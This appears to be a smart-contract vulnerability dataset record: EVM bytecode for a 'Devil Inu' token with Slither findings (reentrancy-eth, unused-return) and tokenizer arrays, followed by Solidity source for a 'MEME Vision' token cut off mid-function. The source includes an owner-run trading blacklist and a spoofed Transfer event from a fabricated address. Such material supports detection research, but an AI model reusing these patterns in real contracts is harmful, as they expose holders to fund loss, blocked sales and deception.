9610b3d565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612979565b61109a565b6040516103ef9190612693565b60405180910390f35b34801561040457600080fd5b5061040d611121565b005b60606040518060400160405280600981526020017f446576696c20496e750000000000000000000000000000000000000000000000815250905090565b60006104606104596111c8565b84846111d0565b6001905092915050565b6000683635c9adc5dea00000905090565b600061048884848461139b565b610549846104946111c8565b610544856040518060600160405280602881526020016133e360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111c8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119a09092919063ffffffff16565b6111d0565b600190509392505050565b61055c6111c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612a05565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612a05565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107406111c8565b73ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b600047905061076e81611a04565b50565b60006107bb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aff565b9050919050565b6107ca6111c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e90612a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f444556494c000000000000000000000000000000000000000000000000000000815250905090565b600061098f6109886111c8565b848461139b565b6001905092915050565b6109a16111c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612a05565b60405180910390fd5b60005b8151811015610abf57600160066000848481518110610a5357610a52612a25565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ab790612a83565b915050610a31565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b046111c8565b73ffffffffffffffffffffffffffffffffffffffff1614610b2457600080fd5b6000610b2f30610771565b9050610b3a81611b6d565b50565b610b456111c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990612a05565b60405180910390fd5b600f60149054906101000a900460ff1615610c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1990612b18565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111d0565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf857600080fd5b505afa158015610d0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d309190612b4d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9257600080fd5b505afa158015610da6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dca9190612b4d565b6040518363ffffffff1660e01b8152600401610de7929190612b7a565b602060405180830381600087803b158015610e0157600080fd5b505af1158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e399190612b4d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec230610771565b600080610ecd610915565b426040518863ffffffff1660e01b8152600401610eef96959493929190612be8565b6060604051808303818588803b158015610f0857600080fd5b505af1158015610f1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f419190612c5e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611044929190612cb1565b602060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110969190612cef565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111296111c8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90612a05565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612d8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a790612e20565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161138e9190612693565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140290612eb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290612f44565b60405180910390fd5b600081116114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fd6565b60405180910390fd5b6002600a819055506008600b819055506114d6610915565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115445750611514610915565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115ed5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115f657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116a15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561170f5750600f60179054906101000a900460ff165b156117bf5760105481111561172357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061176e57600080fd5b601e4261177b9190612ff6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561186a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118c05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d6576002600a81905550600a600b819055505b60006118e130610771565b9050600f60159054906101000a900460ff1615801561194e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119665750600f60169054906101000a900460ff165b1561198e5761197481611b6d565b6000479050600081111561198c5761198b47611a04565b5b505b505b61199b838383611df5565b505050565b60008383111582906119e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119df9190612544565b60405180910390fd5b50600083856119f7919061304c565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a54600284611e0590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a7f573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ad0600284611e0590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611afb573d6000803e3d6000fd5b5050565b6000600854821115611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d906130f2565b60405180910390fd5b6000611b50611e4f565b9050611b658184611e0590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ba557611ba46127ed565b5b604051908082528060200260200182016040528015611bd35781602001602082028036833780820191505090505b5090503081600081518110611beb57611bea612a25565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8d57600080fd5b505afa158015611ca1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc59190612b4d565b81600181518110611cd957611cd8612a25565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d4030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611da49594939291906131d0565b600060405180830381600087803b158015611dbe57600080fd5b505af1158015611dd2573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e00838383611e7a565b505050565b6000611e4783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612045565b905092915050565b6000806000611e5c6120a8565b91509150611e738183611e0590919063ffffffff16565b9250505090565b600080600080600080611e8c8761210a565b955095509550955095509550611eea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fcb8161221a565b611fd584836122d7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120329190612693565b60405180910390a3505050505050505050565b6000808311829061208c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120839190612544565b60405180910390fd5b506000838561209b9190613259565b9050809150509392505050565b600080600060085490506000683635c9adc5dea0000090506120de683635c9adc5dea00000600854611e0590919063ffffffff16565b8210156120fd57600854683635c9adc5dea00000935093505050612106565b81819350935050505b9091565b60008060008060008060008060006121278a600a54600b54612311565b9250925092506000612137611e4f565b9050600080600061214a8e8787876123a7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119a0565b905092915050565b60008082846121cb9190612ff6565b905083811015612210576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612207906132d6565b60405180910390fd5b8091505092915050565b6000612224611e4f565b9050600061223b828461243090919063ffffffff16565b905061228f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122ec8260085461217290919063ffffffff16565b600881905550612307816009546121bc90919063ffffffff16565b6009819055505050565b60008060008061233d606461232f888a61243090919063ffffffff16565b611e0590919063ffffffff16565b905060006123676064612359888b61243090919063ffffffff16565b611e0590919063ffffffff16565b9050600061239082612382858c61217290919063ffffffff16565b61217290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123c0858961243090919063ffffffff16565b905060006123d7868961243090919063ffffffff16565b905060006123ee878961243090919063ffffffff16565b9050600061241782612409858761217290919063ffffffff16565b61217290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561244357600090506124a5565b6000828461245191906132f6565b90508284826124609190613259565b146124a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612497906133c2565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124e55780820151818401526020810190506124ca565b838111156124f4576000848401525b50505050565b6000601f19601f8301169050919050565b6000612516826124ab565b61252081856124b6565b93506125308185602086016124c7565b612539816124fa565b840191505092915050565b6000602082019050818103600083015261255e818461250b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125a58261257a565b9050919050565b6125b58161259a565b81146125c057600080fd5b50565b6000813590506125d2816125ac565b92915050565b6000819050919050565b6125eb816125d8565b81146125f657600080fd5b50565b600081359050612608816125e2565b92915050565b6000806040838503121561262557612624612570565b5b6000612633858286016125c3565b9250506020612644858286016125f9565b9150509250929050565b60008115159050919050565b6126638161264e565b82525050565b600060208201905061267e600083018461265a565b92915050565b61268d816125d8565b82525050565b60006020820190506126a86000830184612684565b92915050565b6000806000606084860312156126c7576126c6612570565b5b60006126d5868287016125c3565b93505060206126e6868287016125c3565b92505060406126f7868287016125f9565b9150509250925092565b60006020828403121561271757612716612570565b5b6000612725848285016125c3565b91505092915050565b600060ff82169050919050565b6127448161272e565b82525050565b600060208201905061275f600083018461273b565b92915050565b61276e8161264e565b811461277957600080fd5b50565b60008135905061278b81612765565b92915050565b6000602082840312156127a7576127a6612570565b5b60006127b58482850161277c565b91505092915050565b6127c78161259a565b82525050565b60006020820190506127e260008301846127be565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612825826124fa565b810181811067ffffffffffffffff82111715612844576128436127ed565b5b80604052505050565b6000612857612566565b9050612863828261281c565b919050565b600067ffffffffffffffff821115612883576128826127ed565b5b602082029050602081019050919050565b600080fd5b60006128ac6128a784612868565b61284d565b905080838252602082019050602084028301858111156128cf576128ce612894565b5b835b818110156128f857806128e488826125c3565b8452602084019350506020810190506128d1565b5050509392505050565b600082601f830112612917576129166127e8565b5b8135612927848260208601612899565b91505092915050565b60006020828403121561294657612945612570565b5b600082013567ffffffffffffffff81111561296457612963612575565b5b61297084828501612902565b91505092915050565b600080604083850312156129905761298f612570565b5b600061299e858286016125c3565b92505060206129af858286016125c3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129ef6020836124b6565b91506129fa826129b9565b602082019050919050565b60006020820190508181036000830152612a1e816129e2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a8e826125d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ac157612ac0612a54565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612b026017836124b6565b9150612b0d82612acc565b602082019050919050565b60006020820190508181036000830152612b3181612af5565b9050919050565b600081519050612b47816125ac565b92915050565b600060208284031215612b6357612b62612570565b5b6000612b7184828501612b38565b91505092915050565b6000604082019050612b8f60008301856127be565b612b9c60208301846127be565b9392505050565b6000819050919050565b6000819050919050565b6000612bd2612bcd612bc884612ba3565b612bad565b6125d8565b9050919050565b612be281612bb7565b82525050565b600060c082019050612bfd60008301896127be565b612c0a6020830188612684565b612c176040830187612bd9565b612c246060830186612bd9565b612c3160808301856127be565b612c3e60a0830184612684565b979650505050505050565b600081519050612c58816125e2565b92915050565b600080600060608486031215612c7757612c76612570565b5b6000612c8586828701612c49565b9350506020612c9686828701612c49565b9250506040612ca786828701612c49565b9150509250925092565b6000604082019050612cc660008301856127be565b612cd36020830184612684565b9392505050565b600081519050612ce981612765565b92915050565b600060208284031215612d0557612d04612570565b5b6000612d1384828501612cda565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d786024836124b6565b9150612d8382612d1c565b604082019050919050565b60006020820190508181036000830152612da781612d6b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e0a6022836124b6565b9150612e1582612dae565b604082019050919050565b60006020820190508181036000830152612e3981612dfd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e9c6025836124b6565b9150612ea782612e40565b604082019050919050565b60006020820190508181036000830152612ecb81612e8f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f2e6023836124b6565b9150612f3982612ed2565b604082019050919050565b60006020820190508181036000830152612f5d81612f21565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fc06029836124b6565b9150612fcb82612f64565b604082019050919050565b60006020820190508181036000830152612fef81612fb3565b9050919050565b6000613001826125d8565b915061300c836125d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561304157613040612a54565b5b828201905092915050565b6000613057826125d8565b9150613062836125d8565b92508282101561307557613074612a54565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006130dc602a836124b6565b91506130e782613080565b604082019050919050565b6000602082019050818103600083015261310b816130cf565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131478161259a565b82525050565b6000613159838361313e565b60208301905092915050565b6000602082019050919050565b600061317d82613112565b613187818561311d565b93506131928361312e565b8060005b838110156131c35781516131aa888261314d565b97506131b583613165565b925050600181019050613196565b5085935050505092915050565b600060a0820190506131e56000830188612684565b6131f26020830187612bd9565b81810360408301526132048186613172565b905061321360608301856127be565b6132206080830184612684565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613264826125d8565b915061326f836125d8565b92508261327f5761327e61322a565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132c0601b836124b6565b91506132cb8261328a565b602082019050919050565b600060208201905081810360008301526132ef816132b3565b9050919050565b6000613301826125d8565b915061330c836125d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561334557613344612a54565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ac6021836124b6565b91506133b782613350565b604082019050919050565b600060208201905081810360008301526133db8161339f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220921fbbdfdd3d86b27138ad9564ded5144cbedb3c6d58f92e2b5d04d15653a45964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19961, 14142, 16409, 23777, 29345, 2094, 16703, 2629, 2497, 2620, 2063, 2683, 2575, 2278, 2581, 2683, 8586, 2692, 11329, 8586, 4783, 24096, 2692, 2620, 3540, 1013, 1008, 6548, 1999, 2226, 1011, 1002, 6548, 100, 1002, 6548, 100, 6548, 1999, 2226, 100, 10474, 1024, 10474, 1012, 4012, 1013, 6548, 2378, 23361, 2232, 100, 23921, 1024, 1056, 1012, 2033, 1013, 6548, 2378, 23361, 2232, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,747
0x97454f595acd2648952d7c08399970f7e84b9730
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract UniswapFee is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MEME Vision"; string private constant _symbol = "MEME"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x166a8833504e3e762d4A07E185ED744B58aa1cE5); _feeAddrWallet2 = payable(0xed716cf44adfB3dac80273dd31E552A097EE7C38); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xCAFEacDaDD29f55ce935492E20F1f982DF3FB51D), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 3; _feeAddr2 = 6; } uint256 